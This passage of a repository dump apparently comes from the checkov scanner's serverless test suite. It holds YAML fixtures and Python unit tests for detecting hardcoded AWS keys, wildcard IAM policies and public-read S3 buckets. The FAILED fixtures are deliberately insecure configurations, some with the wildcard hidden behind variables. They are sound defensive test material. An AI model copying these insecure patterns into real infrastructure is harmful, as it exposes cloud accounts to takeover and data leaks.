    "content": "spec:\n  - name: SOME_NAME\n    value: some_value\n  - value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\n    name: TEST_PASSWORD_1\n    name1: TEST_PASSWORD_2\n    value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\n  - name: TEST_PASSWORD_3\n    value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\n  - name: TEST_PASSWORD_4\n    value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\n  - name: TEST_PASSWORD_LONG_1\n    value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\n  - name: TEST_PASSWORD_no_password\n    value: RandomP@ssw0rd\n"
  },
  {
    "path": "tests/serverless/__init__.py",
    "content": ""
  },
  {
    "path": "tests/serverless/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/serverless/checks/aws/__init__.py",
    "content": ""
  },
  {
    "path": "tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-func_level/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n  environment:\n    TABLE_NAME: \"mytable\"\n    BUCKET_NAME: \"mybucket\"\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    environment:\n      FUNC_NAME: \"myfunc\"\n      AWS_ACCESS_KEY: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n      AWS_SECRET_KEY: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_2 test secret\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n  stackTags: ${file(${env:STACK_TAGS_FILE, 'dummy.yaml'}), null}\n  environment:\n    TABLE_NAME: \"mytable\"\n    BUCKET_NAME: \"mybucket\"\n    AWS_ACCESS_KEY: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n    AWS_SECRET_KEY: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_2 test secret\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    environment:\n      FUNC_NAME: \"myfunc\"\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-PASSED/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n  environment:\n    TABLE_NAME: \"mytable\"\n    BUCKET_NAME: \"mybucket\"\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    environment:\n      FUNC_NAME: \"myfunc\"\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-func_level/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"*\"\n        Resource:\n          - \"*\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action: \"*\"\n      Resource: \"*\"\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_env_var/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    # NOTE: This env value is set in test_AdminPolicyDocument\n    - Effect: \"Allow\"\n      Action: ${env:sneaky_var}\n      Resource: ${env:sneaky_var}\n\nfunctions:\n  myFunc:\n    name: myFunc-provider-level-with-var\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_json_var/customVars.json",
    "content": "{\n  \"my_sneaky_custom_var\": \"*\"\n}"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_json_var/serverless.yml",
    "content": "service: my-sls-service\n\ncustom: ${file(customVars.json)}\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action: ${self:custom.my_sneaky_custom_var}\n      Resource: ${self:custom.my_sneaky_custom_var}\n\nfunctions:\n  myFunc:\n    name: myFunc-provider-level-with-var\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_yaml_var/customVars.yml",
    "content": "my_sneaky_custom_var: \"*\""
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_yaml_var/serverless.yml",
    "content": "service: my-sls-service\n\ncustom: ${file(customVars.yml)}\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action: ${self:custom.my_sneaky_custom_var}\n      Resource: ${self:custom.my_sneaky_custom_var}\n\nfunctions:\n  myFunc:\n    name: myFunc-provider-level-with-var\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_var/serverless.yml",
    "content": "service: my-sls-service\n\ncustom:\n  my_sneaky_custom_var: \"*\"\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action: ${self:custom.my_sneaky_custom_var}\n      Resource: ${self:custom.my_sneaky_custom_var}\n\nfunctions:\n  myFunc:\n    name: myFunc-provider-level-with-var\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-PASSED/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320\n  myFunc2:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatementsName: ${self:custom.moduleName}-people-api-role-${self:provider.tag}\n    iamRoleStatements:\n      # add here the exact roles the lambda needs\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-FAILED/serverless.yml",
    "content": "service: usersCrud\nprovider: aws\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320\n\nresources: # CloudFormation template syntax\n  Resources:\n    S3BucketPublicRead:\n      Type: AWS::S3::Bucket\n      Properties:\n        AccessControl: PublicRead\n        BucketEncryption:\n          ServerSideEncryptionConfiguration:\n            - ServerSideEncryptionByDefault:\n                SSEAlgorithm: AES256\n        Tags:\n          - Key: RESOURCE\n            Value: lambda\n          - Key: PUBLIC\n            Value: false"
  },
  {
    "path": "tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-PASSED/serverless.yml",
    "content": "service: usersCrud\nprovider:\n  name: aws\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320\n\nresources: # CloudFormation template syntax\n  Resources:\n    S3BucketPublicRead:\n      Type: AWS::S3::Bucket\n      Properties:\n        AccessControl: Private\n        BucketEncryption:\n          ServerSideEncryptionConfiguration:\n            - ServerSideEncryptionByDefault:\n                SSEAlgorithm: AES256\n        Tags:\n          - Key: RESOURCE\n            Value: lambda\n          - Key: PUBLIC\n            Value: false"
  },
  {
    "path": "tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-PASSED-incl/resources.yaml",
    "content": "---\nResources:\n  S3BucketPublicRead:\n    Type: AWS::S3::Bucket\n    Properties:\n      AccessControl: Private\n      BucketEncryption:\n        ServerSideEncryptionConfiguration:\n          - ServerSideEncryptionByDefault:\n              SSEAlgorithm: AES256\n      Tags:\n        - Key: RESOURCE\n          Value: lambda\n        - Key: PUBLIC\n          Value: false\n"
  },
  {
    "path": "tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-PASSED-incl/serverless.yml",
    "content": "service: usersCrud\nprovider:\n  name: aws\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320\n\nresources: # CloudFormation template syntax\n  - ${file(resources.yaml)}\n\n"
  },
  {
    "path": "tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-FAILED-func_level/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"*\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-FAILED-provider_level/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action: \"*\"\n      Resource: \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-PASSED/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\n  iamRoleStatements:\n    - Effect: \"Allow\"\n      Action:\n        - \"s3:PutObject\"\n        - \"s3:GetObject\"\n      Resource:\n        - \"arn:aws:s3:::somebucket/*\"\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-PASSED-2/serverless.yml",
    "content": "service: my-sls-service\n\nprovider:\n  name: aws\n  runtime: python3.7\n  stackName: lambda-${self:service.name}\n  tag: ${opt:tag}\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320"
  },
  {
    "path": "tests/serverless/checks/aws/test_AWSCredentials.py",
    "content": "import os\nimport unittest\n\nfrom checkov.serverless.checks.function.aws.AWSCredentials import check\nfrom checkov.serverless.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAWSCredentials(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AWSCredentials\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for failed_check in report.failed_checks:\n            del failed_check.entity_tags['__file__']\n            self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {\"RESOURCE\": \"lambda\", \"PUBLIC\": \"False\"})\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/checks/aws/test_AdminPolicyDocument.py",
    "content": "import os\nimport unittest\nfrom unittest import mock\n\nfrom checkov.serverless.checks.function.aws.AdminPolicyDocument import check\nfrom checkov.serverless.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\nclass TestAdminPolicyDocument(unittest.TestCase):\n\n    @mock.patch.dict(os.environ, {\"sneaky_var\": \"*\"})\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AdminPolicyDocument\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2,\n                         f\"Passed checks: {[fc.file_path for fc in report.passed_checks]}\")\n        self.assertEqual(summary['failed'], 6,\n                         f\"Failed checks: {[fc.file_path for fc in report.failed_checks]}\")\n        self.assertEqual(summary['skipped'], 0,\n                         f\"Skipped checks: {[fc.file_path for fc in report.skipped_checks]}\")\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for failed_check in report.failed_checks:\n            del failed_check.entity_tags['__file__']\n            self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {\"RESOURCE\": \"lambda\", \"PUBLIC\": \"False\"})\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/checks/aws/test_S3PublicACLRead.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3PublicACLRead import check\nfrom checkov.serverless.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3PublicACLRead(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3PublicACLRead\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for failed_check in report.failed_checks:\n            self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {\"RESOURCE\": \"lambda\", \"PUBLIC\": \"False\"})\n\n    def test_inclusion(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3PublicACLRead/S3PublicACLRead-PASSED-incl\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for failed_check in report.failed_checks:\n            self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {\"RESOURCE\": \"lambda\", \"PUBLIC\": \"False\"})\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/checks/aws/test_StarActionPolicyDocument.py",
    "content": "import os\nimport unittest\n\nfrom checkov.serverless.checks.function.aws.StarActionPolicyDocument import check\nfrom checkov.serverless.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCPULimits(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StarActionPolicyDocument\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for failed_check in report.failed_checks:\n            del failed_check.entity_tags['__file__']\n            self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {\"RESOURCE\": \"lambda\", \"PUBLIC\": \"False\"})\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/checks/example_CheckTypes/serverless.yml",
    "content": "service:\n  name: myService\n  awsKmsKeyArn: arn:aws:kms:us-east-1:XXXXXX:key/some-hash\n\nprovider:\n  name: aws\n  runtime: nodejs12.x\n  environment:\n    SOME_PROVIDER_VAR: spv_value\n  stackTags:\n    MY_TAG: tag_value\n\nplugins:\n  - some-plugin\n  - some-other-plugin\n\npackage:\n  artifact: path/to/my-artifact.zip\n\ncustom:\n  my_custom_var: ${self:custom.another_custom_var}\n  another_custom_var: sourced-in-value\n\nlayers:\n  hello:\n    path: \"yup/that/is/my/path\"\n    name: \"a-layer\"\n\nfunctions:\n  myFunction:\n    handler: myfunction.invoke"
  },
  {
    "path": "tests/serverless/checks/example_WildcardEntities/serverless.yml",
    "content": "service: usersCrud\nprovider:\n  name: aws\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320\n\nresources: # CloudFormation template syntax\n  Resources:\n    S3BucketPublicRead:\n      Type: AWS::S3::Bucket\n      Properties:\n        AccessControl: Private\n        BucketEncryption:\n          ServerSideEncryptionConfiguration:\n            - ServerSideEncryptionByDefault:\n                SSEAlgorithm: AES256"
  },
  {
    "path": "tests/serverless/checks/test_check_types.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.serverless.checks.complete.base_complete_check import BaseCompleteCheck\nfrom checkov.serverless.checks.custom.base_custom_check import BaseCustomCheck\nfrom checkov.serverless.checks.function.base_function_check import BaseFunctionCheck\nfrom checkov.serverless.checks.layer.base_layer_check import BaseLayerCheck\nfrom checkov.serverless.checks.package.base_package_check import BasePackageCheck\nfrom checkov.serverless.checks.plugin.base_plugin_check import BasePluginCheck\nfrom checkov.serverless.checks.provider.base_provider_check import BaseProviderCheck\nfrom checkov.serverless.checks.service.base_service_check import BaseServiceCheck\nfrom checkov.serverless.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nCATS = [CheckCategories.APPLICATION_SECURITY]\n\n\nclass TestCheckTypes(unittest.TestCase):\n    def helper(self, check):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CheckTypes\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_complete_check(self):\n        check = ATestCompleteCheck()\n        self.helper(check)\n\n    def test_custom_check(self):\n        check = ATestCustomCheck()\n        self.helper(check)\n\n    def test_function_check(self):\n        check = ATestFunctionCheck()\n        self.helper(check)\n\n    def test_layer_check(self):\n        check = ATestLayerCheck()\n        self.helper(check)\n\n    def test_package_check(self):\n        check = ATestPackageCheck()\n        self.helper(check)\n\n    def test_plugin_check(self):\n        check = ATestPluginCheck()\n        self.helper(check)\n\n    def test_provider_check(self):\n        check = ATestProviderCheck()\n        self.helper(check)\n\n    def test_service_check(self):\n        check = ATestServiceCheck()\n        self.helper(check)\n\n\nclass ATestCompleteCheck(BaseCompleteCheck):\n    def __init__(self):\n        id = \"CKV_TCT_0\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_complete_conf(self, conf):\n        if isinstance(conf[\"service\"], dict) and conf[\"service\"].get(\"awsKmsKeyArn\") != \"arn:aws:kms:us-east-1:XXXXXX:key/some-hash\":\n            return CheckResult.FAILED\n        if conf[\"provider\"][\"runtime\"] != \"nodejs12.x\":\n            return CheckResult.FAILED\n        if conf[\"plugins\"] != [\"some-plugin\", \"some-other-plugin\"]:\n            return CheckResult.FAILED\n        if conf[\"package\"][\"artifact\"] != \"path/to/my-artifact.zip\":\n            return CheckResult.FAILED\n        if conf[\"custom\"][\"my_custom_var\"] != \"sourced-in-value\":\n            return CheckResult.FAILED\n        if conf[\"layers\"][\"hello\"][\"path\"] != \"yup/that/is/my/path\":\n            return CheckResult.FAILED\n\n        if conf[\"functions\"][\"myFunction\"][\"handler\"] != \"myfunction.invoke\":\n            return CheckResult.FAILED\n        if conf[\"functions\"][\"myFunction\"][\"environment\"][\"SOME_PROVIDER_VAR\"] != \"spv_value\":  # enriched\n            return CheckResult.FAILED\n        if conf[\"functions\"][\"myFunction\"][\"tags\"][\"MY_TAG\"] != \"tag_value\":                    # enriched\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\nclass ATestCustomCheck(BaseCustomCheck):\n    def __init__(self):\n        id = \"CKV_TCT_1\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_custom_conf(self, conf):\n        if conf.get(\"my_custom_var\") == \"sourced-in-value\":\n            return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n\nclass ATestFunctionCheck(BaseFunctionCheck):\n    def __init__(self):\n        id = \"CKV_TCT_2\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_function_conf(self, conf):\n        if conf.get(\"handler\") != \"myfunction.invoke\":\n            return CheckResult.FAILED\n\n        # Environment should be pulled in (\"enriched\") from provider block\n        if conf[\"environment\"][\"SOME_PROVIDER_VAR\"] != \"spv_value\":\n            return CheckResult.FAILED\n\n        # Tags should be pulled in (\"enriched\") from provider block (stackTags)\n        if conf[\"tags\"][\"MY_TAG\"] != \"tag_value\":\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\nclass ATestLayerCheck(BaseLayerCheck):\n    def __init__(self):\n        id = \"CKV_TCT_3\"\n        super().__init__(name=\"test\", id=id, categories=CATS, supported_entities=['serverless_aws'])\n\n    def scan_layer_conf(self, conf):\n        if conf.get(\"path\") == \"yup/that/is/my/path\":\n            return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n\nclass ATestPackageCheck(BasePackageCheck):\n    def __init__(self):\n        id = \"CKV_TCT_4\"\n        super().__init__(name=\"test\", id=id, categories=CATS, 